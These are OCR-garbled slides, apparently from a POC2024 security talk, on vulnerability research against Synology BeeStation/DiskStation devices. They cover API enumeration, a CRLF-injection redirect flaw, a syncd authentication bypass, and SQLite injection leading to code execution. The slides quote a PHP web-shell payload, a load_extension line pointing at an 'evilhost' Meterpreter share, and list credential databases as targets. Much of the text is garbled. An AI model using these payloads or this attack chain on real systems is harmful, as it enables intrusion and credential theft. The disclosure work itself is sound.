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Dear Pumpkin Chang,

Congratulations on being selected as a speaker at POC2024!
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Eligible for
oints
Bonus . .
Samsung Galaxy 524 530,000 (USD) Master of Pwn Points
Google Pine 5250000 (USD) Whatud g -k 3500000 (%)

Whatspp (1-lch $200000 USD)

. Master of Pwn
— Remots Code
Amazon Echo Show 8 (3" Remote Code RongsEm-aU0 Execution Sed. 00 al) —
Gen) Execution $60,000 (USD)

_ g _—
Amazon Echo Po : $60,000 (USD
Google Nest Hub Max Remote Lode | 560,000 (USD) — Execution .

; Remote Code

ZEEon Master of Pwn
: Master of Pwn Synology DiskStation Remote Code
HP Color LaserJet Pro MFP Remote Code - Svnologv BeeStation Remote Code
Remote Code
Canon imageCLASS Remote Code
) 20,000 (USD 2
Execution

st Eamn Gnidloor, wited) Rg;‘géitfo‘;de $30,000 (USD)
Synology TC500 R;‘Egéit?ozde $30,000 (USD)

3

Arlo Pro 58 2K Remote Lode $30,000 (USD)
xecution
D E \ ( O R E Ubiquiti AI Bullet Rgm"te Codo $30,000 (USD)
xecution

3
3
3
3

Lorex 2K Indoor Wi-Fi Security Remote Code $30,000 (USD)
Camera Execution



Synology DiskStation Remote Code
Synology BeeStation Remote Code




Synology’

/q‘

DS1823xs+

DS1823xs+ BST150-4T
(DiskStation, DSM) (BeeStation, BS
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Index of /| download /| Os /| BSM [/ 1.1-65373

Name

1+ Parent Directory

&, BSM_BST150-4T_65373.pat

= firmware E&REZS2




aaa@®aaa:~/syno-extract-system-patch/data/out$ 1ls -al

total 258940
drwxr-xr-x
drwxrwxr-x
=PW=r==pP=--
~PW=r=~r~-
-PW=P~-~-P--
~W===P~=
=FW=r==pr=--
drwxr-xr-x
-PW=F~~-P~-
~PW==-=r--
=PW=P===-
drwxr-xr-x 2
-PWXIE =X =X
~PW===P--
= PWXIr =X =X
=PWXE=XP =X
=PW=P==~~
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P RPRPRRPPWRRPRRPNRPRPRRPRERREDND

root
aaa

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

root
aad

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

4096
4096
2195

0635520
204919548
1462552
41133 J

4096

7300512
23346812
(551

4090
1375

1576960
14818320

744

4938400

Feb
Feb
Jan
Jan
Jan
Jan
Jan
Feb
Jan
Jan
Jan
Feb
Jan
Jan
Dec
Jan
Jan

1%
1Z
14
14
14
14
14
L2
14
14
14
117
14
14
24
14
14

12:
41 .
07:
07:
07:
07:
07:
41
07:
07:
07:
41
07:
07:
1L
07:
07:

1.

12

12

41 .

10
10
10
10
10

10
10
10

10
10
45
10
10

checksum.syno
DiskCompatibilityDB. tar
hdal.tgz

1ndexdb. txz
model . dtb

packages

rd.bin
synohdpack_1img. txz
Synology.sig

texts
uboot_do_upd. sh
uboot_MANGO.b1in
updater

VERSION

zImage
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BAERE  Synology BiffiziE At RimfFEX

BERFURE BRE MR TEMIIRGHE Synology Bl BB -

SRE &P : synologysupport_OMndRdU4AKDjMsO
HIRMERRNS ? 55EA Synology IRF DABMERE e 2 JK{u4:VTTE/ON[gr[N

A MYt

SSH EIZIE : 39846

Rl sz 3z Bl - uLoeV2U8JHh-vIJbw7gbNOY-pUYQ1gTWVxC-0JgBTJTy1z
R HGE

ERZEMNEZE » BFIABREFLALIRSREZS - 5555 W RS B8 & A48 RIRSR K 28

RINEZIZINR > s EE R BRI FHLBA -

ELHGE

3E im 7 HX

oo 52 1 9 P Pl LAZE I 7 ER (R B BeeStation BAEIT oM RS - BURHE » 5B RIE R T A EEMEBIBIRHAG T
fF3
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synologysupport_LFurghkvwpmoY51@BeeStation:~$% sudo netstat -anp | head -n 100
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:%* LISTEN 9545/nginx: master
tcp 0 O 12¢.0.0.1:161 0.0.0.0:* LISTEN 8772/snmpd

tCcp 0 0 0.0.0.0:06690 0.9.0.0:* LISTEN 13909/syncd

tcp 0 0 0.0.0.0:0000 0.0.0.0:%* LISTEN 9545/nginx: master
tcp 0 0 0.0.0.0:5000 0.0.0.0:%* LISTEN 9545/nginx: master
tcp 0 0 0.0.0.0:53769 0.0.0.0: % LISTEN 18327/sshd: /usr/b1i
tcp 0 0 0.0.0.0:6601 0.0.0.0:*% LISTEN 9545/nginx: master
tcp 0 0 0.0.0.0:5001 0.0.0.0: % LISTEN 9545/nginx: master
tCp 0 0 0.0.0.0:80 0.0.9.0:% LISTEN 9545/nginx: master

DE\/CORE



Services DEV/CORE

7 DSM Portal (TCP 5000, 5001)

7 Admin Center (TCP 6600, 6601)

7 synorelayd (RAW 1)

7 synonetd (RAW 58)

7 syncd (TCP 6690)

7 loT 88 daemon (smbd, nmbd, dhclient, ...)
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Synology Drive Server !
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Synology Drive Server
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Admin Center B =
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Synology Drive Server

Admin Center




Services DEV/CORE

\
N\

¥ Admin Center : BeeStation FU4AE 7Y » L Web APl B &)

N\
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\
N\

¥ syncd : BIEERRLHN SRR
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POST /webapi/entry.cgi HTTP/1.1
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api=SYNO.API.Info&version=1&nethod=query
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4 ]| ]|
/ ‘ il . il innl ‘ AP I
/ appPriv": -
v BST150-4T /
/ "authLevel": 0,
> Syno / ] — il
/ disableSocket": false,
v synoman / . ;
, / "1ib": "1ib/SYNO.API.Info.so",
v webapi // N -
Y= , maxVersion": 1,
/ " n, 7
= SYNO.API.Auth.lib ! mftEOds | o
= SYNO.API.Encryption.lib ! ‘ 17 [‘ version
= SYNO.APLInfo.lib 1
" ",
= SYNO.AudioPlayer.lib \ query”: {
= SYNO.Auth.ForgotPwd.lib \\ grantByUser™: false, method
= SYNO.Auth.RescueEmail.lib \ "grantable”: false
\
= SYNO.Backup.App.lib \ I
= SYNO.Backup.Config.lib \\ }
= SYNO.Backup.lib 5 {
= SYNO.Backup.Service.NetworkBackup.lib \ "Query": {
= SYNO.Backup.Storage.AmazonCloudDrive.lib \\ "grantByUser": false,
= SYNO.Backup.Storage.Azure.lib \\ "grantable: false
= SYNO.Backup.Storage.Dropbox.lib \\ }
= SYNO.Backup.Storage.GoogleDrive.lib \\ }
= SYNO.Backup.Storage.HiDrive.lib \\ ]
= SYNO.Backup.Storage.hubiC.lib \ o
\

= SYNO.Backup.Storage.OpenStack.lib \ "minVersion': 1,
= SYNO.Backup.Storage.S3.lib \\ "priority": -20,
= SYNO.Backup.Storage.WebDAV.lib \\ "priorityAdj": o,

A\ ||Socketll: mni
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parameter_1=AAA&parameter_2=BBB
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1Noid *  fastcall QueryAPI::Query(QueryAPI *al,  int64 a2, Json::Value *a3)
2

__inte4 ve; // xo

const char *v7z [f ®2

size & V& Jf X1

__inte4 v9; // xe

size t *vi10; // x©

size t vi11; // x2

_..Int64 v13; JJ x19

__inte64 vi4; // xo

char *v15; // x19

__Intea w163 Jf/ %26

__inte4 vi17; // xo

14  inté64 vi18; // x21

’ __int64 v19; // [xsp+68h] [xbp+68h]

16 _ _inte4 v20[2]; // [Xxsp ] :

17 __inte4 v21[2]; // [xsp+98h]

18 char v22[24]; // [xsp+A8h] [xbp+A8h]

19  inteée4 v23[3]; // [xsp+Coh] [xbp+Ce

20 char *v24; // [xsp+D8h] [xbp+D8h]

21 char *v25; // [xsp+EGh] [xbp+EOh]

22 inte4d v26; // [xsp+E8h] [xbp+E8h]

23 void *dest; // [xsp+Foh] [xbp+FOh] BYR
24  int128 v28; // [xsp+F8h] [xbp+F8h] BYR
[ X
|

OO NOYUVTL B W

25 void *v29; // [xsp+116h] bp+110h |
26 size t n[5]; // [xsp+118h

2/

28 n[4] = *off_13FBO;

29 Json::Value::Value(v22, OLL); ++

30| v6 = *(a2 + 8);
31 dest = &v28 + 8;
X D0Q — Ol e

[ xbp+118h] BYREF

00002D10 ZN8QueryAPI5QueryERKNSt7 cxxlll2basic stringIcStllchar tr.
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50+ APIs

API

method

SYNO.FotoTeam.Browse.Folder
SYNO.FotoTeam.Browse.ltem

SYNO.API.Auth
SYNO.BEE.AdminCenter.Auth
SYNO.BEE.API.Auth
SYNO.Core.Sharing.Login
SYNO.Core.Sharing.Session
SYNO.SecurityAdvisor.Report.HTML
SYNO.API.Info

SYNO.Auth.ForgotPwd
SYNO.Storage.CGl.EncryptionKeyVault.UnlockMode
SYNO.API.Auth.RedirectURI
SYNO.API.Auth.Type
SYNO.API.Auth.UIConfig

SYNO.Core.OTP.Ex

SYNO.Core.OTP.Mail
SYNO.SynologyDrive.AdvanceSharing.Public

SYNO.SynologyDrive.Authentication

copy,count,create,delete,get, list,list_parents,move,rename,set_order
a lot
logout,login,session,oidc,reset,token,suspend,resume
auth

auth

login

get

open

query

get,send,reset
get_passwd_wrong_record,enter_passwd,skip_passwd
run,check

get

get
save_mail,get_qgrcode,edit_secret_key,auth_tmp_code
send

auth

authenticate,authenticate_by_dsm,revoke,set_active
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50+ APIs

API

method

SYNO.FotoTeam.Browse.Folder
SYNO.FotoTeam.Browse.ltem

SYNO.API.Auth
SYNO.BEE.AdminCenter.Auth
SYNO.BEE.API.Auth
SYNO.Core.Sharing.Login
SYNO.Core.Sharing.Session
SYNO.SecurityAdvisor.Report.HTML
SYNO.API.Info

SYNO.Auth.ForgotPwd
SYNO.Storage.CGl.EncryptionKeyVault.UnlockMode
SYNO.API.Auth.RedirectURI
SYNO.API.Auth.Type
SYNO.API.Auth.UIConfig

SYNO.Core.OTP.Ex

SYNO.Core.OTP.Mail
SYNO.SynologyDrive.AdvanceSharing.Public

SYNO.SynologyDrive.Authentication

copy,count,create,delete,get, list,list_parents,move,rename,set_order
a lot
logout,login,session,oidc,reset,token,suspend,resume
auth

auth

login

get

open

query

get,send,reset
get_passwd_wrong_record,enter_passwd,skip_passwd
run,check

get

get
save_mail,get_qgrcode,edit_secret_key,auth_tmp_code
send

auth

authenticate,authenticate_by_dsm,revoke,set_active
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® Web API Restricted AFR @

(IR1EE Web API I8 ?
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® Web API Restricted AFR @
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® Web API Restricted AFR @
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® Web API Restricted AFR @

SYNO.Core.Desktop.Upgrade

SYNO.Core.Synohdpack

SYNO.Core.User.PasswordMeter

SYNO.Auth.ForgotPwd

SYNO.Storage.CGl.EncryptionKeyVault.UnlockMode

D E \/CO R E SYNO.API.Auth.RedirectURI




® Web API Restricted AFR @

EEZA APl Y
RedirectURI > &5t
&7 CRLF Injection >

<L

SYNO.API|.Auth.RedirectURI
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@ Web API Restricted AFR @

File Edit Jump Search View Debugger Lumina Options Windows Help
4" [HE R S B I A A@® CLOE 1 & 3 &3 No debugger

Library function ] Regular function | Instruction Data Unexplored External symbol  Lumina function

==

%_ﬂ g X | E DA View-A =] Pseudocode-B E Pseudocode-A Local Types 52 Strings = Imports
- e :

SYNO: :GetRediertURI(&v27, v21, &v24);

{

Function name

'f __imp_ Unwind Resume
| f | SYNO::APIRequest::GetURLHost(std::str
| f | SynoCgiKnownDevicelsFirstLoginAfterUs
f SYNO::SSO::SSOProfile::GetSSOProfile(
~_1mp getmd
f std::string::_M_create(ulong &,ulong)
| SynoCeiUtilParselUUAToDeviceName(std:::
Json::Value::1sBool(void)
Json::Value::empty(void)

__1mp SYNOLocal AccountIsExpiredPasst

O WO W

3 ( v27 §='v29 )
operator delete(v27, v29[@] + 1LL);

goto LABEL_18;
s
if ( v27 1= v29 )

operator delete(v27, v29[@] + 1LL);
| Json::Value::Value(long) SYNO: : APIResponse: :SetEnableOQutput(a2, 1);
__imp_SLIBUserAllowChPasswordGet if ( !(unsigned _ int8)SYNO::WebAPIUtil: :GetEnv(
Json::Valuelterator:: Valuelterator(Json::V (g\wo WebAPIUtil *)"HTTP_REFERER",

__imp_setresuid v30e,

Json::Value::asString(void) = J— .
imp random (cha *)(unsigned int)&elf _gnu_hash_chain[27],

SYNO::WebCGI::WriteHeader(char const " . - . 1) "

imp__ printf chk || !strstr(v3e, red1rect_ur1= ¥
SYNO::PamCont::SetService(std::string ¢ " {
SYNO:: APIRequest::GetAPIVersion(void) _printf_chk(2LL, "Status: 3062 Found\r\n");
f SYNO:: APIRequest::GetCookie(std::string : _pr\intf_chk(ZLL, "Location: %S\r\\n", 1

DSM::Task::setProperty(char const* Json: . : " o
- _printf_chk(2LL, "\r\n");
SYNO::DSM::SecurityOptions::SecurityO), goto LABEL 41;

Json::Value::operator[](std::string const&,

Json::Value::Value(bool)

std::string::append(char const*)

Json::Value::append(Json::Value const&) v27 = v29;

SynoCgiKnownDevice::Set(std::string con: ® 12: vl3 = ( onst void *)qword_41F48;
1m.pJson_obk‘:t_tof;son_st ng stringValue = qword_41F50;

Sk e e T =4.value.stringValue = (string *)qword_41F5@;
—Imp__gmon,_start__ if ( (unsigned _ inte4)qword _41F50 > OxF )

{ -

Line 1446 of 1446,/ _imp__gmon_start__ 00021638 ZN4SYNOZlauth e _uri runEPNS lOAPIRequestEPNS 11APIResponseE:116 (21638)

e

®®®®E®®®®

> W N FE O® WO N

--~{:FqZIZI:[I
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00O SN Oy

— ~'-.| w.l-

“h“h

?
7
/

SRR
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vi b wt

()}

DE\V/CORE | SYNO.API.Auth.RedirectURI




® Web API Restricted AFR @

_printf chk(2LL, "Location: %s\r\n", redirect url.ptr);

HTTP/1.1 302 Found
Location:

\r\n
Content-Type: text/html;
charset=UTF-8
Content-Length: ©

SYNO.API.Auth.RedirectURI
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® Web API Restricted AFR @
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® Web API Restricted AFR @

%*

* %
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® Web API Restricted AFR @

location ~ ~/volume(?:X|USB|SATA|Gluster)?\d+/ {
internal;

root /;
open_file cache off;

include conf.d/x-accel.*.conf;

Nginx Bt T ASPEER > feiEE header
X-Accel-Redirect BfS45E HERE FRIIERE

DE\/CORE



® Web API Restricted AFR @

location ~ ~/volume(?:X|USB|SATA|Gluster)?\d+/ |{
internal;

root /;
open_file cache off;

include conf.d/x-accel.*.conf;

CRLF Injection HE3958 /volume [EFHIE
> BEERNERITMEHMB &

DE\/CORE



® Web API Restricted AFR @




SYNO.FotoTeam.Browse.Folder (disabled)
SYNO.FotoTeam.Browse.ltem (disabled)
SYNO.FotoTeam.Browse.Unit (disabled)
SYNO.FotoTeam.Download (disabled)
SYNO.FotoTeam.Streaming (disabled)
SYNO.FotoTeam.Thumbnail
SYNO.FotoTeam.Upload.ltem (disabled)
SYNO.Foto.Migration
SYNO.Foto.PublicSharing

SYNO.Foto.Setting.Guest

SYNO.MangoDrive.Guard

copy,count,create,delete,get, list, list_parents,move,rer

a lot
count,get,get_thumbnail_status
download,covert

streaming

get

backup_{check,to_path},upload,upload_to_folder

get_status

get,o=*

X

=B EEZ API >

B —{E R 7

auth

authenticate,authenticate_by_dsm,revoke,set_active

too many

get

unsubscribe,subscribe,pair,unpair

get_metadata,list,upload
list, download,restore
get

get

SYNO.SynologyDrive.Shard
SYNO.SynologyDrive.Tasks
SYNO.SynologyDrive.TeamFolders
SYNO.Core.Directory.SSO.utils
SYNO.SecurityAdvisor.Report. HTML
SYNO.Entry.Request (not-exist)
SYNO.APIL.Encryption
SYNO.Core.Package.AutoUpgrade.Progress
SYNO.Core.Desktop.Defs
SYNO.Core.Desktop.Initdata
SYNO.Core.Desktop.JSUIString
SYNO.Core.Desktop.SessionData

~ Desktop.UIString
“top.Upgrade

ipack

‘asswordMeter

~.Auth.ForgotPwd

SYNO.Storage.CGl.EncryptionKeyVault.UnlockMode

SYNO.API.Auth.RedirectURI
SYNO.API.Auth.Type
SYNO.API.Auth.UIConfig
SYNO.Core.OTP.Ex
SYNO.Core.OTP.Mail
SYNO.FileStation.Sharing.Download
SYNO.FileStation.UIString
SYNO.API.Auth
SYNO.BEE.AdminCenter.Auth
SYNO.BEE.API.Auth
SYNO.Core.Sharing.Login
SYNO.Core.Sharing.Session

SYNO.WebRTC.Proxy.Sharing

get,getjs, init
delete,get,list
list,list_members
exchange

open

getinfo

get

getjs
get_user_lang,get_user_service,get_ui_config,get
getjs

getjs,getjs_mobile,getjs_forgotpass

getjs

get_pgsql,done

get,getHDIcon

evaluate

query

get,send,reset
get_passwd_wrong_record,enter_passwd,skip_passwd
run,check

get

get
save_mail,get_qgrcode,edit_secret_key,auth_tmp_code
send

download

getjs
logout,login,session,oidc,reset,token,suspend,resume
auth

auth

login

get

create,signal






SYNO.FotoTeam.Browse.Folder (disabled)
SYNO.FotoTeam.Browse.ltem (disabled)
SYNO.FotoTeam.Browse.Unit (disabled)
SYNO.FotoTeam.Download (disabled)
SYNO.FotoTeam.Streaming (disabled)
SYNO.FotoTeam.Thumbnail
SYNO.FotoTeam.Upload.ltem (disabled)
SYNO.Foto.Migration
SYNO.Foto.PublicSharing
SYNO.Foto.Setting.Guest
SYNO.MangoDrive.Guard

SYNO.SAS.Grot = r2-—rarg

SYNC,

SY

copy,count,create,delete,get, list, list_parents,move,rer

X SYNO.SynologyDrive.Shard

X SYNO.SynologyDrive.Tasks

a lot

X SYNO.SynologyDrive.TeamFolders

count,get,get_thumbnail_status X

download,covert

SYNO.Core.Directory.SSO.utils

X SYNO.SecurityAdvisor.Report. HTML

X SYNO.Entry.Request (not-exist)

streaming

X SYNO.APIL.Encryption

get X

backup_{check,to_path},upload,upload_to_folder

SYNO.Core.Package.AutoUpgrade.Progress

X SYNO.Core.Desktop.Defs

X SYNO.Core.Desktop.Initdata

R 47
SHER ? B

notify,a.

auth

receive X

+an_JSUIString

...

J1\\

5

(AT
. gutPwd

X SYNO.Storage.CGl.EncryptionKeyVault.UnlockMode

SYNO.API.Auth.RedirectURI

X  SYNO.API.Auth.Type

X SYNO.API.Auth.UIConfig

authenticate,authenticate_by_dsm,revoke,set_active

too many X

SYNO.Core.OTP.Ex

SYNO.Core.OTP.Mail

X SYNO.FileStation.Sharing.Download

get

X SYNO.FileStation.UIString

unsubscribe,subscribe,pair,unpair

\wnload,restore

“et_metadata,list,upload X

X SYNO.API.Auth

SYNO.BEE.AdminCenter.Auth

X SYNO.BEE.API.Auth
X SYNO.Core.Sharing.Login
X SYNO.Core.Sharing.Session

X SYNO.WebRTC.Proxy.Sharing

get,getjs, init
delete,get,list
list,list_members
exchange

open

getinfo

get

getjs
get_user_lang,get_user_service,get_ui_config,get
getjs

getjs,getjs_mobile,getjs_forgotpass

getjs

get_pgsql,done

get,getHDIcon

evaluate

query

get,send,reset
get_passwd_wrong_record,enter_passwd,skip_passwd
run,check

get

get
save_mail,get_qgrcode,edit_secret_key,auth_tmp_code
send

download

getjs
logout,login,session,oidc,reset,token,suspend,resume
auth

auth

login

get

create,signal
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Syncd Raw Data

B\x10\x00\x06@protoB\x10\x00\x07versionB\x10\x00\x05major\x01\x04\x060
\x00\x00\x07\x10\x00\x05minor\x01\x04\x00\x00\x00\x00@\x10\x00\tx-for
wardB\x10\x00\x02ip\x10\x00\x0b10.20.30.400@\x10\x00\x05agentB\x10\x0
B\x07versionB\x10\x00\x05build\x01\x04\x00\x00=\xab\x10\x00\x05major\
X01\x04\x00\x00\x00\x03\x10\x00\x04mini\x01\x04\x00\x00\x00\x01\x10\Xx
PO\ x05minor\x01\x04\x00\x00\x00\x04@\x10\x00\x08platform\x10\x00\x0bD
iskStation\x10\x00\x04type\x10\x00\x04sync@\x10\x00\rbody-continue\x®0
1\x04\x00\x00\x00\x00\x10\x00\x04type\x10\x00\x06header\x10\x00\x04. .
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Protocol Format

PObject

e e e e
D D D D
2l 2l 2| 8
RIS IRERIN

Data Type
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PObject




. "AAAAAAAAA"
: 9x12345678,

{...}




11 . n, N 11
action: test _connect
Action Name Handler Auth
test_connect TestConnectionHandler : :Handle X
resume_get_status GetResumeStatusHandler: :Handle
: Authentication §

DE\V/CORE

Call Handler




Post-Auth Action

0

B

DE\/CORE

Pre-Auth Action

noop

test_connection
encrypt_channel
query_server_info
get_portal_link
get_office_template_link
auth_advance_sharing
get_metrics

HE 8@




Pre-Auth Action

noop

test_connection
encrypt_channel
query_server_info
get_portal_link
get_office_template_link
auth_advance_sharing
get_metrics

HE 8@
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Post-Auth Action

batch_copy
batch_move
batch_downl
batch_rest
batch_rem
batch_convert_oftrice
empty_recycle_bin

AR 25 81H
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Sharing Token

Session

Authentication

Pem

DE\/CORE

Search from DB



Authentication

Sharing Token

Session

Pem

Search from DB

Y0
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Authentication

DE\/CORE

Search from DB

Username

Linux PAM
A#& Password I—) &




Authentication

DE\/CORE

Search from DB

Username @
i@ # Password I—)-
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Synology Drive Server

‘ IS 'l Admin Center
|




Synology Drive Server

Admin Center
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Remote Request e




Synology Drive Server

Admin Center
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Synology Drive Server

Admin Center

K= admin
BEERE
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Synology Drive Server

Admin Center

syncd
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Synology Drive Server

FE admin >

. BEZE

&) 53 an

Admin Center
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Synology Drive Server

Admin Center

FE admin >

/ BT
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Synology Drive Server

)

/
AN =R T /

| Unix Socket |
/
/’

syncd
Local 55
‘ ’$§Fﬁ| ~\\\\\\5=i\~IEg!g I'Il
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api=SYNO.SynologyDrive.Authentication
method=authenticate




® Syncd Auth Bypass @

username=admin&password=&. ..

48 username {B45Z=Z 08

SYNO.SynologyDrive.Authentication




® Syncd Auth Bypass @

(LR Chkad 7at8a6643bd8a2cd6fd2c2a10ec89 16
m,\:ﬁ R

SYNO.SynologyDrive.Authentication




Post-Auth Action

batch_copy

b atc h_m oV ' N
batch_dowloac
batch_restd =
batch_rem
batch_con
empty_recyorene

V. FiIhfRsHE Post-Auth Actions
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Post-Auth Action

batch_copy

b atc h_m oV ' N
batch_dowloac
batch_restd =
batch_rem
batch_con
empty_recyorene

V. FiIhfRsHE Post-Auth Actions
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® Syncd SQL Injection @

*((_ BYTE *)v6l + 16) = 0;
db: :ApplicationSetting: :GetSharinglLinkFullyCustomURL[abi:cxx11](22, &CustomURL);
replace(&CustomURL, OLL, OLL, "sharing link fully custom url = \"", 33LL)

CustomURL {EHH RIS

v6e4 = std::string:: M

Action "update_settings’




SELECT * FROM table WHERE

sharing_link_custom_url = "<INPUT>"







| P master ¥ | PayloadsAllTheThings / SQL Injection / SQLite Injection.md g (o]

 Preview | Code  Blame Raw (&, v

¢ SQLite Remote Code Execution

Attach Database

ATTACH DATABASE '/var/www/lol.php' AS lol; e
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($ GET['cmd']); ?>");--

Load extension

A\ This component is disabled by default.

UNION SELECT 1,load _extension('\\evilhost\evilshare\meterpreter.dll’, 'D11Main’);-- 5



master SQLite Injection.md

Preview Code ENE Raw

¢ SQLite Remote Code Execution

Attnrhh Natabhhacn

=285 PHP

=

Load extension

This component is disabled by default.

,load extension('\\evilhost\evilshare\meterpreter.dll’, 'D11Main");



master SQLite Injection.md Top

Preview Code ENE Raw

¢ SQLite Remote Co¢

Atinchh NDNatalhhacn

A_
-

=

o 4

-
™

Load extension /
e ——

,load_extension('\\evilhost\evilshare\meterpreter.dll’', 'D11Main’);

4\ This component is disabl
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SQL(ite) Injection to RCE

| OAD EXTENSION()

2 crontab Jz authorized keys
& current.users (.json) BA
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SQL(ite) Injection to RCE

? $TSQLite sO1SEERA !







AHEBEIEERREEEE 2




doom ; ATTACH DATABASE

' /path/to/Shell.php’

AS pwn: INSERT INTO..




doom ; ATTACH DATABASE

/path/to/SQLite.db

AS pwn: INSERT INTO..




R APLE H i SR Ig P A= Shell
X ABLE DB E4dEk r] L= Shell




ALt AiEBY SQLite EFIERI Ay DE\/CORE

e /etc/synoappprivilege.db

e /etc/synoautoblock.db

e /usr/syno/etc/dsmnotify.db

e /usr/syno/etc/esynoscheduler/esynoscheduler.db

e /usr/syno/etc/private/session/syno-pam-key.db

e /usr/syno/etc/private/session/syno-access-token.db
e /usr/syno/etc/private/session/sharing/sharing.db

e ...and more



ALt AiEBY SQLite EFIERI Ay DE\/CORE

/usr/syno/etc/private/session/syno-pam-key.db




Fix 2fa auth for dsm 7 #53

%o Merged

mib1185 me rge d 3 commits InNto hacf-fr:master from mib1185:2fa-auth-dsm7 (S On Se P 11, 2021

Conversation (@ Commits @ Checks @ Files changed (@)

Beginning with DSM 7 a new version of SYNO.API.Auth was introduced

Beginning with DSM 7 a new version of SYNO.API.Auth was Introduced |- version 7.

In case of 2fa auth device ID to skip OTP checking is responded as device_id (not did ):

DSM 7 (apt version 7)




' fusr/syno/etc/private/session/syno-pam-key.db

id user | scope key attributel | attribute2 enabled
admin - Oxec9184cfelel.. NULL browser 0
0x96943a24b2f4.. NULL browser 1

/CORE



' /usr/syno/etc/private/session/syno-pam-key.db

id user | scope key attributel attribute2 enabled
admin - Oxec9184cfelesl.. NULL browser 0
Ox96943a24b2f4.. NULL browser 1

6xabf6bf6c4078..  NULL browser 1

DE\/CORE



fusr/syno/etc/private/session/syno-pam-key.db

id user | scope key attributel1 attribute2 | enabled
admin ” BOxec9184cfelel.. NULL browser 5
Bx96943a24b2f4.. NULL browser 1

admin browser 1

DEVCORE
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©F IDA - libsynocgi.so.7.i64 (libsynocgi.so.7) \libsynocgi.so.7.i64 — 0 X
File Edit Jump Search View Debugger Lumina Options Windows Help
P #&ve~Y @GOG @& I A O CLO®vDODx < » MO Nodebugger v] @ B =

; — | T I G

Library function | Regular function | Instruction Data Unexplored External symbol  Lumina function

[7] Functions O & X E [DA View-A B ] Pseudocode-A B [ Local Types x 0 Strings B Imports B Exports %
Function name ® 437 Json::Value::~Value((Json::Value *)&v77);
[¥] imp strioull @ A2 1f ( cecceinn new ePtr l= coaccinn new <etr )

SynoPAMLogln :Noise: :HandShake_kk(&msg, ..

_imp_SYNU WS lestion

Jsom:: Value::size (void) 4473
__imp_SLIBCConfGetDSM Timeout
ﬁ: —exa_cad_catch ® 444 _syslog_chk(7LL, 2LL, "%s:%d sessi imeout and do not allow resume"”, "noise.cpp”, 176LL);
Eﬁ‘;ammpc(ﬁn::Vdm&) ® 445 goto LABEL_37;
:nnp;gxx _personality_v0 446 }
__imp_json_object_object_length
__imp_pclose ® 447 *v26 = 0;
__imp_sysconf

__imp_json_object_new_boolean

f
f
f
f
f
f
f
f
f
f
f | Json:Value:get(sth:string consté,Joon: Value consti) ® 448 v79.value.stringValue = (string *)(v22 +\2);
f | SynoPAMLogin: Noise: HandShake kk(std::string const&
|~ imp_openst ® 449 *(_QWORD *)&79.type = v22;
f | __imp_SynoPAMTmpToken Tl
f | Json:Value: Value(char const®) 450 LABEL 26
f | __imp_BISLIBIsIpAddr s
f | stistring: find_first not_of(char const¥,ulong,ulong) ® 451 v70 = (Json::Value *)off 64F98;
f UsgrAgentPamelt::pame(sb:l::strmg constée) A * " — I
; e SUBCUack ® 452 if ( *(_BYTE *)off 64F98 )
F Jso'r'z::V;lue::oper;orD—(charconst*) ® 453 +4% ( ( DWORD * )\/22 + 2) -
f | Userd gentParser: ~Userd gentParser() —
f | _imp_SYNORelayServiceGetAddrInfoByAddr 454 else
f | Json::Valve:isMember(std ::string consté) :
f | __imp_stat64 ® 455 sub_4522a(1u, (atomic pint *)(v22 4+ 1))
f | _ imp_SynoPAMVerifyTmpToken > A - A4
; “;fﬁ%ﬂﬁggﬁ“mﬁm@) ® 456 v28 = SynoPAMLogln::N01se..HandShake_kk(& , & , & , & , & , & ) -
f | _imp_regfree ® 457 v29 = T .
f | __imp_crypto_auth_verfy
; mjwt::l;ase.ﬁ;_to_bmmi::ming const&,uchar *ulong) l ® 458 v30 = v28 -
__imp_fwri i \
£| Zimp_Unwind_Rerume ® 459 if ( *(_QWORD *)&v79.type )
f

__imp_SYNONetGetaddrType 460 {
S — v31l = atomic load((unsigned intéd4 *)(*( QWORD *)&v79.type + 8LL));
Line 1760 of 1800, /__imp_ ZNK4Json5Va 0002F190 Z18SynoCgiNoiseResumePl2 tag SynoCgi:456 (2F190) {
Output M & X ‘

64F30: using guessed type void *off_64F30;
64F90: using guessed type _ int64 *off_64F90;
64F98: using guessed type void *off_64F98;
2EE@@: using guessed type Json::Value var_5BS8; l
2EE@0@: using guessed type JsonValue var_5ES8;

PR —




8));}vl4=sub_1BOBO(&v20, ik_message, payload, out, pkey, out_hash, (SynoPAMLogin: :NoiseCipherPrivate*)&v19) ;if (N
iseCipherPrivate){vi15=atomic_load((unsigned __int64*)&NoiseCipherPrivate->vt+1);if(v15==0x100000001LL){v18
*(_QWORD*)&NoiseCipherPrivate->vt;*((_QWORD*)&NoiseCipherPrivate->vt+1)=0LL; (*(void(__fastcall**)(SynoPAML
gin: :NoiseCipherPrivate*))(v18+16)) (NoiseCipherPrivate) ;(*(void(__fastcall**)(SynoPAMLogin: :NoiseCipherPri
ate*)) (*(_QWORD*)&NoiseCipherPrivate->vt+24LL)) (NoiseCipherPrivate);}else{if(*is_single_thread){v16=DWORD2
NoiseCipherPrivate->vt) ;DWORD2(NoiseCipherPrivate->vt)=v16-1; }else{v16=sub_EBCEO(OxFFFFFFFF, (atomic_uint¥*)
(char*)&NoiseCipherPrivate->vt+8));}if(v16==1)std::_Sp_counted_base<(__gnu_cxx::_Lock_policy)2>::_M_releas
_last_use_cold(NoiseCipherPrivate) ; }}if(v20.ptr!=v20.data)operator delete(v20.ptr, *(_QWORD*)v20.data+1LL) ;
eturn v14;}void __fastcall __noreturn sub_1BFF8(struct _Unwind_Exception#*al){_QWORD*v1;__int64 v2;if(v1)st
. . _Sp_counted_base<(__anu_cxx::_Lock_policy)2>:: M_release(v1);std::string::_M_dispose(v2) ;Unwind_Resume(a

);}__int64 __fastc SynoPAMLogin: :Noise: :HandShake_kk .ng*kk_message,__int64 a2, string*payload_string
string*pkey, __int64 out_hash,__int64 a6){__int128 v12;__int64*v13;unsigned int v14;unsigned __int64 v15;in
v16;__int64 v18;__int128 v19;string v20;__int64 v21;v21=*(_QWORD*)off_111F00;v20.ptr=v20.data;sub_1A300(&

20, "Noise_KK_25519_ChaChaPoly_BLAKE2b", (__int64)""):v12=%(_OWORD*)a6;v13=*(__int64**)(a6+8);v19=v12;if(v13
